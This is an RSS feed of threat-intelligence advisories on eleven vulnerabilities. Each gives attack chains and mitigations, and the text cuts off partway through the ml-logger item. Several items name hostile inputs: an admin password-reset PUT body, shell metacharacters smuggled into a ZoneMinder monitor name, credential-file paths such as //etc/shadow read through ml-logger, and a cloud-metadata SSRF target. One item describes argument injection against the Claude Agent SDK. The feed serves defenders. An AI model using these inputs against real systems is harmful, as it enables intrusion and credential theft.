<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Fri, 16 Oct 2026 22:44:41 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/feed.xml" rel="self" type="application/rss+xml"/><image><url>https://feed.craftedsignal.io/favicon-32x32.png</url><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><width>32</width><height>32</height></image><webfeeds:icon>https://feed.craftedsignal.io/favicon.svg</webfeeds:icon><item><title>Integer Overflow Vulnerability in GIMP file-pvr Plug-in</title><link>https://feed.craftedsignal.io/briefs/2026-10-gimp-pvr-overflow/</link><pubDate>Fri, 16 Oct 2026 22:44:41 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-gimp-pvr-overflow/</guid><description>An integer overflow vulnerability in the GIMP file-pvr plug-in allows heap-based buffer overflow via malicious .pvr files, potentially leading to arbitrary code execution or application crashes.</description><content:encoded><![CDATA[<p>A security vulnerability (CVE-2026-62439) has been identified in the GIMP image manipulation software. The flaw exists within the file-pvr plug-in, which is responsible for parsing PowerVR (.pvr) image files. An integer overflow occurs during the calculation of memory buffer sizes based on the image dimensions provided in the file header. An attacker can exploit this by enticing a victim to open or preview a specially crafted .pvr image file. Successful exploitation leads to a heap-based buffer overflow, which can result in an application crash (Denial of Service) or arbitrary code execution within the context of the user running GIMP. This vulnerability affects GIMP across all supported platforms, including Windows, Linux, and macOS. Users are advised to upgrade to a patched version once available and avoid opening untrusted or unknown .pvr files.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-62439 allows an unauthenticated attacker to achieve code execution or perform a denial of service attack against the GIMP application. This presents a high risk to users who frequently work with external or untrusted graphics files. Organizations should identify systems where GIMP is installed and monitor for the opening of .pvr files from untrusted sources until patches are applied.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Monitor endpoint file access logs for GIMP (gimp-2.x.exe or gimp-console) opening files with the .pvr extension.</li>
<li>Disable or remove the file-pvr plug-in if PVR image support is not required for business operations.</li>
<li>Apply vendor security updates for GIMP as soon as they are made available to address CVE-2026-62439.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>vulnerability</category><category>remote-code-execution</category></item><item><title>Integer Overflow in JavaCV IPCameraFrameGrabber Leads to Denial of Service</title><link>https://feed.craftedsignal.io/briefs/2026-10-javacv-dos/</link><pubDate>Fri, 16 Oct 2026 22:29:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-javacv-dos/</guid><description>An integer overflow vulnerability (CVE-2026-102834) in JavaCV's IPCameraFrameGrabber allows a network attacker to cause a permanent CPU-spinning denial-of-service by sending a crafted HTTP Content-Length header.</description><content:encoded><![CDATA[<p>The JavaCV library contains a critical vulnerability in the <code>IPCameraFrameGrabber</code> class (CVE-2026-102834) that stems from the lack of bounds checking on the <code>Content-Length</code> header parsed from multipart MJPEG HTTP streams. Applications using this class for camera stream ingestion are susceptible to a denial-of-service attack. A remote attacker - either a compromised camera device or a network-position attacker capable of tampering with unencrypted HTTP traffic - can send a crafted <code>Content-Length</code> header with a value between 1,073,741,825 and 2,147,483,647.</p>
<p>When <code>ensureBufferCapacity(int)</code> processes this value, the internal buffer-growth routine enters an infinite loop due to signed 32-bit integer overflow, where the capacity variable oscillates between negative values and zero. This causes the thread executing the <code>grab()</code> method to consume 100% of a CPU core permanently. The thread becomes non-responsive to interrupts, timeouts, or socket closures, effectively hanging the application thread until the entire JVM process is terminated. This affects all JavaCV versions prior to 1.5.14.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker monitors or compromises the network path between a camera and the target application.</li>
<li>The target application initiates a connection to an MJPEG stream using <code>IPCameraFrameGrabber</code>.</li>
<li>The attacker intercepts the HTTP response from the camera stream before it reaches the victim.</li>
<li>The attacker injects a malicious HTTP header <code>Content-Length</code> with a value in the range [1073741825, 2147483647].</li>
<li>The <code>IPCameraFrameGrabber</code> parses the malicious header into the <code>contentLength</code> variable.</li>
<li>The <code>ensureBufferCapacity</code> method is called, triggering the unsigned integer multiplication loop.</li>
<li>Integer overflow causes the <code>capacity</code> variable to wrap to <code>Integer.MIN_VALUE</code> and eventually <code>0</code>, creating an infinite loop.</li>
<li>The CPU utilization of the affected application thread hits 100%, causing a thread-level denial of service.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows an attacker to permanently disable the camera-grabbing functionality of any application using affected versions of JavaCV. In environments where applications spawn individual threads for multiple cameras, an attacker can trigger this vulnerability across multiple connections, leading to resource exhaustion, elevated CPU load, and a complete system-level denial of service.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Update the <code>org.bytedeco:javacv</code> dependency to version 1.5.14 or later across all applications utilizing <code>IPCameraFrameGrabber</code>. Teams should also prioritize upgrading camera infrastructure to support HTTPS to mitigate the risk of network-position attackers tampering with the plaintext HTTP response headers.</p>
]]></content:encoded><category domain="severity">low</category><category domain="type">advisory</category><category>denial-of-service</category><category>vulnerability</category><category>java</category></item><item><title>Stack Exhaustion Vulnerability in lopdf Rust Library</title><link>https://feed.craftedsignal.io/briefs/2026-10-lopdf-stack-overflow/</link><pubDate>Fri, 16 Oct 2026 22:28:51 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-lopdf-stack-overflow/</guid><description>The lopdf Rust library is vulnerable to stack exhaustion via unbounded recursion when parsing deeply nested PDF objects, allowing unauthenticated attackers to cause a denial-of-service via SIGABRT.</description><content:encoded><![CDATA[<p>The Rust library <code>lopdf</code> (versions prior to 0.42.0) contains a vulnerability in its document parsing logic within <code>lopdf::Document::load_mem</code> and related entry points. The parser recursively processes nested PDF arrays and dictionaries without implementing a depth limit. By supplying a specially crafted PDF file containing approximately 10,000 levels of nested objects (e.g., <code>[[[[...]]]]</code>), an attacker can trigger a stack overflow that results in a process-terminating <code>SIGABRT</code>.</p>
<p>Because this termination occurs as a non-recoverable abort rather than a standard Rust <code>panic!</code>, the crash cannot be intercepted by <code>catch_unwind</code> handlers. Any service that uses <code>lopdf</code> to process untrusted or user-supplied PDF input is susceptible to this denial-of-service (DoS) attack. The attack requires only a small file (approximately 21 KB) to crash the target application. This issue highlights the danger of unbounded recursion when handling complex file formats.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in a denial-of-service condition for the affected application or service. Any system utilizing <code>lopdf</code> to ingest user-uploaded files, process PDF documents from email attachments, or handle API-based PDF generation is at risk. Given that the crash is an unrecoverable <code>SIGABRT</code>, affected services will experience complete process interruption until restarted, potentially leading to significant downtime in environments that rely on automated PDF processing.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Update the <code>lopdf</code> dependency to version 0.42.0 or later, which implements a maximum object-nesting depth to prevent unbounded recursion.</li>
<li>Implement input validation at the application level to reject or pre-scan PDF files for excessive nesting depth before passing them to the <code>lopdf</code> parsing functions.</li>
<li>Where possible, run PDF parsing logic in a sandboxed or isolated process with resource limits to minimize the impact of crashes on core service infrastructure.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Denial of Service in kin-openapi via Malformed OpenAPI Specifications</title><link>https://feed.craftedsignal.io/briefs/2026-10-kin-openapi-nil-pointer/</link><pubDate>Fri, 16 Oct 2026 22:28:43 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-kin-openapi-nil-pointer/</guid><description>A nil-pointer dereference vulnerability (CVE-2026-100349) in kin-openapi causes a process crash when validating response headers that declare 'content' instead of 'schema'.</description><content:encoded><![CDATA[<p>A nil-pointer dereference vulnerability exists in <code>github.com/getkin/kin-openapi</code> (versions &lt;= v0.145.0) within the <code>ValidateResponse</code> function. When an OpenAPI specification defines a response header using the <code>content</code> field without an explicit <code>schema</code>, the library attempts to dereference a nil pointer during the validation process.</p>
<p>This issue is significant because <code>doc.Validate()</code> incorrectly marks such specifications as valid, allowing them to be loaded into memory. Once an application receives a request that exercises a route associated with the malformed header, the process triggers a runtime panic and terminates. Because the crash occurs on every call to the affected route, this results in an effective denial-of-service (DoS) condition. The vulnerability is triggered automatically during validation logic and does not require a complex malicious payload, only a specification that utilizes the <code>content</code> keyword for response headers.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability results in a persistent DoS condition for any service utilizing <code>kin-openapi</code> to validate responses against an OpenAPI specification containing <code>content</code>-typed response headers. Any traffic directed to the affected route will cause the underlying Go service to panic and crash. While individual services may recover upon restart, the crash is deterministic and will recur immediately upon the next request to that route, necessitating the removal or modification of the OpenAPI specification to restore availability.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Prioritize updating <code>github.com/getkin/kin-openapi</code> to a version released after v0.145.0 that includes the nil-pointer guard.</li>
<li>If immediate patching is not possible, identify and manually modify OpenAPI specifications to use <code>schema</code> instead of <code>content</code> for all response headers.</li>
<li>As a temporary mitigation, exclude routes containing <code>content</code>-typed response headers from <code>ValidateResponse</code> processing.</li>
<li>Implement automated linter checks in your CI/CD pipeline to flag OpenAPI specifications that declare <code>content</code> within <code>headers</code> objects to prevent deployment of vulnerable configurations.</li>
</ul>
]]></content:encoded><category domain="severity">medium</category><category domain="type">advisory</category></item><item><title>Arcane Admin Account Takeover via Improper Authorization</title><link>https://feed.craftedsignal.io/briefs/2026-10-arcane-admin-takeover/</link><pubDate>Fri, 16 Oct 2026 22:28:32 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-arcane-admin-takeover/</guid><description>An authorization flaw in the Arcane user management API allows users with the 'users:update' permission to overwrite administrative credentials and hijack global administrator accounts.</description><content:encoded><![CDATA[<p>Arcane versions 2.5.0 and earlier contain a critical authorization vulnerability within the <code>UpdateUser</code> API handler. The application permits users assigned the delegated <code>users:update</code> permission to update the <code>PasswordHash</code> of any target user, including global administrators. The vulnerability arises because the backend logic in <code>backend/api/handlers/users.go</code> and <code>user_service.go</code> lacks a privilege-hierarchy check, performing an unconditional <code>tx.Save</code> operation on the user model provided in the request body. While Arcane implements <code>RequireGlobalAdmin</code> guards for administrative tasks like role creation, the user management endpoint fails to enforce the separation between standard account profile maintenance and privileged administrative actions. This allows an attacker to reset the administrator's password, authenticate as the admin, and achieve full control over the application environment.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An administrator creates a custom role for a user, granting them the <code>users:update</code> permission for legitimate profile management tasks.</li>
<li>The attacker, possessing this <code>users:update</code> permission, authenticates to the application using their own account.</li>
<li>The attacker identifies the <code>adminId</code> for the global administrator account.</li>
<li>The attacker sends a <code>PUT</code> request to <code>/users/{adminId}</code> with a JSON payload containing a new <code>password</code> field (e.g., <code>{&quot;password&quot;:&quot;attacker123&quot;}</code>).</li>
<li>The server validates the attacker has the <code>users:update</code> permission but fails to verify if the caller is authorized to modify an administrator's account.</li>
<li>The <code>UpdateUser</code> handler updates the administrator's <code>PasswordHash</code> in the database to the attacker's chosen value.</li>
<li>The attacker authenticates to the application via <code>POST /auth/login</code> using the compromised administrative credentials.</li>
<li>The attacker obtains an administrative session and takes full control of the platform.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The vulnerability results in complete administrative account takeover, enabling unauthorized access to application data, configuration settings, and user management capabilities. This impact is rated with high confidentiality, integrity, and availability loss. Any user with the delegated <code>users:update</code> role can effectively compromise the entire instance.</p>
<h2 id="recommendation">Recommendation</h2>
<ol>
<li>Upgrade the Arcane backend (github.com/getarcaneapp/arcane/backend/v2) to version 2.6.0 or later immediately to patch CVE-2026-96627.</li>
<li>Conduct an audit of all custom roles and user permissions in the application to ensure that the <code>users:update</code> permission is not granted to untrusted accounts.</li>
<li>Monitor web server logs for suspicious <code>PUT</code> requests to the <code>/users/</code> endpoint directed at known administrator accounts.</li>
<li>If patching is not immediately feasible, remove the <code>users:update</code> permission from any non-administrative roles to prevent exploitation.</li>
</ol>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category></item><item><title>Claude Agent SDK Argument Injection via resume Option</title><link>https://feed.craftedsignal.io/briefs/2026-10-claude-agent-sdk-argument-injection/</link><pubDate>Fri, 16 Oct 2026 22:28:22 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-claude-agent-sdk-argument-injection/</guid><description>The Claude Agent SDK for Python fails to validate the resume option, enabling an argument injection attack that allows arbitrary command execution via unauthorized MCP server configurations.</description><content:encoded><![CDATA[<p>The Claude Agent SDK for Python contains a critical argument injection vulnerability (CVE-2026-96620) caused by improper validation of the <code>resume</code> option. When an application utilizes this SDK and passes untrusted user input as a session ID to the resume functionality, the underlying Claude CLI incorrectly parses the input. An attacker can supply a value beginning with a dash (<code>-</code>), which the CLI interprets as an additional command-line flag rather than a data string. By injecting the <code>--mcp-config</code> flag, an attacker can specify a malicious stdio-based Model Context Protocol (MCP) server configuration, leading to arbitrary code execution when the CLI initializes. This vulnerability effectively bypasses intended SDK permission controls, allowing execution in the context of the user running the agent.</p>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for arbitrary command execution on systems running applications that integrate vulnerable versions of the Claude Agent SDK (&lt; 0.2.121). This impacts any software or automation pipeline utilizing the SDK to manage sessions with user-supplied input, potentially leading to unauthorized access to host environments, sensitive data exfiltration, or persistence.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Update the <code>claude-agent-sdk</code> Python package to version 0.2.121 or later immediately.</li>
<li>Audit applications using <code>claude-agent-sdk</code> to ensure that session ID or <code>resume</code> parameter inputs are strictly sanitized and validated against an allowlist before being passed to the SDK.</li>
<li>Review process execution logs for applications utilizing the SDK to identify unexpected command-line arguments being passed to the <code>claude</code> CLI binary.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category></item><item><title>Remote Code Execution in LMCache Multiprocess ZMQ Transport</title><link>https://feed.craftedsignal.io/briefs/2026-10-lmcache-rce/</link><pubDate>Fri, 16 Oct 2026 22:28:14 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-lmcache-rce/</guid><description>LMCache versions 0.3.9 through 0.5.5 are vulnerable to unauthenticated remote code execution due to insecure pickle deserialization within the multiprocess ZeroMQ transport layer.</description><content:encoded><![CDATA[<p>LMCache is vulnerable to unauthenticated remote code execution (RCE) via unsafe pickle deserialization in its multiprocess (distributed) mode transport. The vulnerability exists in the ZeroMQ ROUTER socket that LMCache opens to allow worker processes to register and share KV cache blocks. This socket lacks authentication mechanisms such as CURVE, ZAP, or password validation. By default, the transport binds to localhost, but it becomes remotely exploitable when operators bind it to routable network interfaces using the --host parameter.</p>
<p>An attacker can send a crafted msgpack-encoded message to the transport port (default 5555) containing a malicious pickle payload within a register request. This payload is deserialized via <code>pickle.loads</code> inside <code>DeviceIPCWrapper.Deserialize</code> before the application handler validates the input. The code executes with the privileges of the LMCache process, which, in official container images, runs as root. The vulnerability affects LMCache versions 0.3.9 through 0.5.5 and related release candidates.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker performs network reconnaissance to identify reachable LMCache ZeroMQ transport ports (default 5555).</li>
<li>Attacker generates a malicious pickle object designed to execute arbitrary OS commands (e.g., <code>os.system</code>).</li>
<li>Attacker encodes the malicious payload using the <code>msgspec.msgpack</code> format, specifically targeting the extension code 1 used by <code>DeviceIPCWrapper</code>.</li>
<li>Attacker constructs a <code>REGISTER_KV_CACHE</code> message frame containing the malformed serialized object.</li>
<li>Attacker uses a ZMQ DEALER socket to send the multipart message to the target LMCache server.</li>
<li>The LMCache server receives the message and triggers the vulnerable <code>pickle.loads</code> function during the argument decoding phase.</li>
<li>The arbitrary command executes on the host with the permissions of the LMCache service process.</li>
<li>Attacker achieves persistent access, data exfiltration, or further lateral movement within the container or host environment.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The vulnerability allows unauthenticated attackers to achieve full remote code execution on any LMCache node where the ZMQ transport is bound to a routable IP address. Official container images are documented to run the LMCache process as root, elevating the severity of the exploit to full system compromise. If the service is left on default localhost bindings, the impact is limited to local privilege escalation or container escape if reachable by other processes on the same host.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade to LMCache 0.5.6 or later, which replaces pickle with typed MessagePack descriptors and adds input validation.</li>
<li>Apply firewall rules or network policies to restrict access to TCP port 5555, ensuring only trusted peer traffic is permitted.</li>
<li>Reconfigure the LMCache deployment to bind the transport to localhost unless multi-node functionality is strictly required.</li>
<li>Run the LMCache service as a non-privileged user rather than root to reduce the blast radius of potential compromises.</li>
<li>Audit logs and network connections to port 5555 for any anomalies, as the server will log a type error after the malicious payload has already been executed.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>rce</category><category>deserialization</category><category>multiprocess</category><category>zeromq</category></item><item><title>Authorization Bypass in Tandoor Recipes API Endpoints</title><link>https://feed.craftedsignal.io/briefs/2026-10-tandoor-recipes-auth-bypass/</link><pubDate>Fri, 16 Oct 2026 20:45:17 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-tandoor-recipes-auth-bypass/</guid><description>CVE-2026-59963 allows an authenticated user to bypass object-level authorization and access, share, or exfiltrate private recipes via utility API endpoints.</description><content:encoded><![CDATA[<p>CVE-2026-59963 is an authorization bypass vulnerability in Tandoor Recipes versions prior to 2.6.10. The vulnerability exists within the application's recipe utility API endpoints, including those for AI-based imports, file retrieval, external link generation, and share-link creation. An authenticated user who is a member of a shared Space can supply the identifier of another user's private recipe to these endpoints. The application fails to perform necessary object-level authorization checks, allowing the attacker to retrieve private file bytes, send sensitive data to configured external AI providers, or generate public access links for private recipe content. This flaw enables unauthorized access to and potential exposure of sensitive data belonging to other members within the same Space.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability results in the exposure of private recipe data and sensitive uploaded content to unauthorized users within a shared space or to configured third-party external services. If successful, an attacker can exfiltrate private content or generate public links to previously restricted information. This affects all Tandoor Recipes instances running versions earlier than 2.6.10, posing a risk to data confidentiality for users managing sensitive meal planning and recipe data.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Tandoor Recipes to version 2.6.10 or later immediately to patch the missing object-level authorization checks.</li>
<li>Audit logs for the affected API endpoints (api/ai-import/, api/get_recipe_file/, api/get_external_file_link/, api/share-link/) to identify instances where a single user identifier is associated with multiple unexpected recipe IDs within a short timeframe.</li>
<li>Monitor logs for unauthorized creation of public share links (api/share-link/) by non-owner users within shared Spaces.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>authorization-bypass</category><category>api-vulnerability</category><category>data-exposure</category></item><item><title>Blind SSRF in Tandoor Recipes via AI Provider Configuration</title><link>https://feed.craftedsignal.io/briefs/2026-10-tandoor-recipes-ssrf/</link><pubDate>Fri, 16 Oct 2026 20:44:41 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-tandoor-recipes-ssrf/</guid><description>Authenticated users can exploit a blind Server-Side Request Forgery vulnerability in Tandoor Recipes versions prior to 2.6.10 by manipulating AI provider URL inputs to map internal network resources.</description><content:encoded><![CDATA[<p>Tandoor Recipes versions prior to 2.6.10 are vulnerable to a blind Server-Side Request Forgery (SSRF) vulnerability. The flaw exists in how the application processes the 'api_base' parameter for AI provider configuration. Specifically, when an authenticated user creates a Space and configures an AI provider, the application fails to apply standard server-side outbound-request validation (safe_request) when interacting with LiteLLM.</p>
<p>By providing a URL targeting internal network services or cloud metadata endpoints, an attacker can force the application server to make unauthorized requests. The application exposes the success, refusal, or timeout status of these requests back to the user interface during AI-driven actions (such as 'ai-import' or 'ai-step-sort'). This creates a blind network-reachability oracle, allowing attackers to map internal infrastructure, identify reachable ports, and potentially access sensitive metadata services within the hosting environment. This issue was resolved in version 2.6.10 by ensuring proper SSRF mitigation on these AI-related API endpoints.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker authenticates to the Tandoor Recipes instance as a user with Space creation permissions.</li>
<li>Attacker accesses the AI provider configuration settings within the Space management interface.</li>
<li>Attacker inputs a crafted internal URL (e.g., http://169.254.169.254 or internal service IPs) into the 'api_base' field.</li>
<li>Attacker triggers an AI action, such as 'ai-import' or 'ai-step-sort', within the application.</li>
<li>The application backend processes the request and sends the malicious 'api_base' URL to the LiteLLM library without validation.</li>
<li>The server attempts to connect to the target URL and receives a connection result (success, connection refused, or timeout).</li>
<li>The application returns the request outcome to the user interface.</li>
<li>Attacker repeats the process with varying ports and target addresses to perform reconnaissance on the internal network.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows authenticated users to bypass network segmentation and discover internal infrastructure. The vulnerability impacts organizations hosting Tandoor Recipes in environments with access to cloud metadata services or sensitive internal networks, as it facilitates reconnaissance which is a common precursor to further exploitation or data exfiltration.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Tandoor Recipes to version 2.6.10 or later immediately.</li>
<li>Apply strict egress filtering on the application server to prevent connections to internal IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and cloud metadata services (e.g., 169.254.169.254).</li>
<li>Audit logs for the identified API endpoints (/api/ai-import/ and /api/ai-step-sort/) for unusually high rates of requests or non-standard external/internal URLs in the AI configuration parameters.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>web-vulnerability</category><category>ssrf</category><category>reconnaissance</category><category>web-application</category><category>authentication-bypass</category><category>cve</category></item><item><title>ZoneMinder Authenticated OS Command Injection via Monitor Name</title><link>https://feed.craftedsignal.io/briefs/2026-10-zoneminder-rce/</link><pubDate>Fri, 16 Oct 2026 20:44:29 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-zoneminder-rce/</guid><description>An authenticated OS command injection vulnerability (CVE-2026-102608) in ZoneMinder versions prior to 1.38.3 allows remote code execution via unsanitized monitor names during event export operations.</description><content:encoded><![CDATA[<p>ZoneMinder, an open-source closed-circuit television (CCTV) software, contains a critical OS command injection vulnerability tracked as CVE-2026-102608. The issue stems from the improper sanitization of the 'Monitor Name' field within the <code>download_functions.php</code> script. Specifically, the application uses manual single-quote wrapping instead of robust functions like <code>escapeshellarg()</code> when constructing command-line arguments for system utilities including <code>ffmpeg</code>, <code>tar</code>, and <code>zip</code>.</p>
<p>An attacker possessing monitor-create or monitor-edit permissions can inject shell metacharacters into a monitor name. When a user with 'Events View' permissions triggers an event export for that monitor, the malicious input breaks out of the manual quoting, leading to arbitrary command execution in the context of the web server user. This vulnerability is fixed in version 1.38.3. Given the public availability of proof-of-concept exploit code, immediate patching is required for all instances.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>The attacker gains initial access to the ZoneMinder web interface with credentials possessing monitor-create or monitor-edit privileges.</li>
<li>The attacker navigates to the monitor configuration and creates or renames a monitor, inserting shell metacharacters (e.g., <code>;</code>, <code>&amp;&amp;</code>, <code>$()</code>) into the 'Monitor Name' field.</li>
<li>The malicious monitor name is saved into the backend database.</li>
<li>An authenticated user with 'Events View' permissions initiates an event export process for the compromised monitor.</li>
<li>The <code>download_functions.php</code> script retrieves the monitor name from the database.</li>
<li>The script improperly concatenates the name into shell commands for <code>ffmpeg</code>, <code>tar</code>, or <code>zip</code> utilities.</li>
<li>The system executes the injected commands as the web server user process (e.g., www-data).</li>
<li>Final objective achieved: remote command execution, potential lateral movement, or system compromise.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for full remote code execution on the underlying server as the web server user. This provides the attacker the ability to pivot deeper into the internal network, exfiltrate stored CCTV footage, or disrupt surveillance operations. This vulnerability is rated with a CVSS 9.0 (High) score, posing a significant risk to organizations relying on ZoneMinder for physical security monitoring.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade ZoneMinder to version 1.38.3 or later immediately to patch CVE-2026-102608.</li>
<li>Audit existing monitor names for the presence of shell metacharacters such as semicolon, pipe, or backticks using the web interface or direct database queries.</li>
<li>Review web server access logs for anomalous requests to <code>download_functions.php</code> that include excessive query parameters or shell metacharacters.</li>
<li>Enforce strict role-based access control (RBAC) to limit the number of users with monitor-create or monitor-edit permissions.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>command-injection</category><category>vulnerability</category><category>remote-code-execution</category><category>surveillance</category></item><item><title>Unauthenticated Remote Code Execution in WordPress Media Library Assistant Plugin</title><link>https://feed.craftedsignal.io/briefs/2026-10-cve-2023-4634/</link><pubDate>Fri, 16 Oct 2026 19:44:33 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-cve-2023-4634/</guid><description>An unauthenticated remote code execution vulnerability (CVE-2023-4634) in the WordPress Media Library Assistant plugin versions before 3.10 allows attackers to leverage Imagick processing for arbitrary code execution.</description><content:encoded><![CDATA[<p>CVE-2023-4634 is a critical vulnerability affecting the WordPress Media Library Assistant plugin versions prior to 3.10. The vulnerability stems from insecure handling of image processing via the Imagick library, allowing an unauthenticated attacker to achieve remote code execution (RCE). By orchestrating a complex interaction between a target WordPress site and remote attacker-controlled FTP and HTTP servers, an adversary can force the server to download and process malicious SVG/MSL (Magick Scripting Language) files. This process ultimately results in the creation of a polyglot PHP file on the web server, which provides the attacker with command execution capabilities. Due to the public availability of functional exploit scripts, this vulnerability presents an immediate risk to organizations running unpatched versions of the plugin.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker sets up a remote FTP server hosting crafted polyglot SVG/MSL files and a remote HTTP server hosting a polyglot PNG/PHP file containing a web shell payload.</li>
<li>Attacker identifies a target WordPress site running a vulnerable version of the Media Library Assistant plugin.</li>
<li>Attacker triggers the vulnerability by sending a request to the target site, pointing it to the malicious files hosted on the attacker's FTP server.</li>
<li>The plugin's image processing function, utilizing the Imagick library, fetches and processes the malicious SVG/MSL files from the FTP server.</li>
<li>The processing of the MSL script instructs the server to fetch the polyglot PNG/PHP file from the attacker's HTTP server.</li>
<li>The Imagick library saves the fetched PNG content as a .php file on the victim's filesystem, typically within the web server's document root.</li>
<li>The attacker accesses the newly dropped PHP file directly via a web browser to execute the included payload and achieve arbitrary command execution.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation leads to full compromise of the underlying web server, allowing for unauthorized data access, modification, or the installation of persistent backdoors. The vulnerability has a CVSS 9.8 score, reflecting its high potential for complete system takeover without requiring authentication or user interaction.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritized, concrete actions for detection engineering teams:</p>
<ul>
<li>Update the Media Library Assistant WordPress plugin to version 3.10 or later immediately to resolve CVE-2023-4634.</li>
<li>Audit web server access logs for anomalous requests to the WordPress media upload or library endpoints that reference external, non-whitelisted domains or protocols (e.g., ftp://).</li>
<li>Monitor the web server filesystem for the creation of unexpected .php files within standard image/media upload directories.</li>
<li>Restrict the ability of the web server process (e.g., www-data) to initiate outbound network connections to arbitrary external hosts, specifically limiting FTP and high-port HTTP requests.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category></item><item><title>Unauthenticated Arbitrary File Read in ml-logger via CVE-2025-10952</title><link>https://feed.craftedsignal.io/briefs/2026-10-ml-logger-afr/</link><pubDate>Fri, 16 Oct 2026 19:44:16 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-10-ml-logger-afr/</guid><description>An unauthenticated arbitrary file read vulnerability (CVE-2025-10952) in the ml-logger stream_handler allows remote attackers to enumerate and exfiltrate sensitive files from the host filesystem.</description><content:encoded><![CDATA[<p>CVE-2025-10952 is a critical vulnerability residing in the <code>ml-logger</code> Python library, specifically within the <code>stream_handler</code> component of <code>ml_logger/server.py</code>. The flaw stems from improper input validation where the <code>key</code> parameter, provided via JSON request body, is passed directly to file read operations without adequate sanitization or path restriction checks. An unauthenticated attacker can exploit this by sending specially crafted paths, such as those utilizing double leading slashes (e.g., <code>//root/.ssh/id_rsa</code>), to bypass intended directory constraints. This enables the attacker to read arbitrary files accessible by the system user running the <code>ml-logger</code> process. A functional proof-of-concept exploit is publicly available, enabling unauthenticated file enumeration via the <code>/glob</code> endpoint followed by arbitrary file exfiltration through the <code>/stream</code> endpoint.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker identifies a target exposing the <code>ml-logger</code> API, typically on port 8081.</li>
<li>Attacker sends a POST request to the <code>/glob</code> endpoint to enumerate the filesystem and identify sensitive files.</li>
<li>Attacker parses the JSON response from the <code>/glob</code> endpoint to locate high-value targets like SSH keys, configuration files, or credentials.</li>
<li>Attacker constructs a malicious request to the <code>/stream</code> endpoint, embedding the targeted file path into the <code>key</code> JSON field.</li>
<li>Attacker prepends double slashes (e.g., <code>//etc/shadow</code>) to the file path to bypass the application's path normalization logic.</li>
<li>The <code>ml-logger</code> service retrieves the requested file from the disk and transmits the content to the attacker in the response body.</li>
